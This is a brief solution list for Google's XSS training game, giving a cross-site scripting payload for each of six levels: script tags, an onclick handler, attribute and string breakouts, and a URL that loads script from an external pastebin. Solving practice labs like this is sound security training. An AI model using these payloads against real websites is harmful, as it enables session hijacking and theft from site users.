JavaScript Google XSS game

Google's game about Cross-site scripting (XSS) - one of the most common and dangerous types of vulnerabilities in Web applications.

Level 1:
<script>alert(1)</script>

Level 2:
</blockquote><a onclick="alert(1)">test</a>

Level 3:
.jpg' /><script>alert(1)</script><img src="" alt='


Level 4:
' alt=''><script>alert(1);</script><img src="" alt='

Level 5:
startTimer('');alert('da');

Level 6:
https://xss-game.appspot.com/level6/frame#//pastebin.com/raw.php?i=G3NmpruP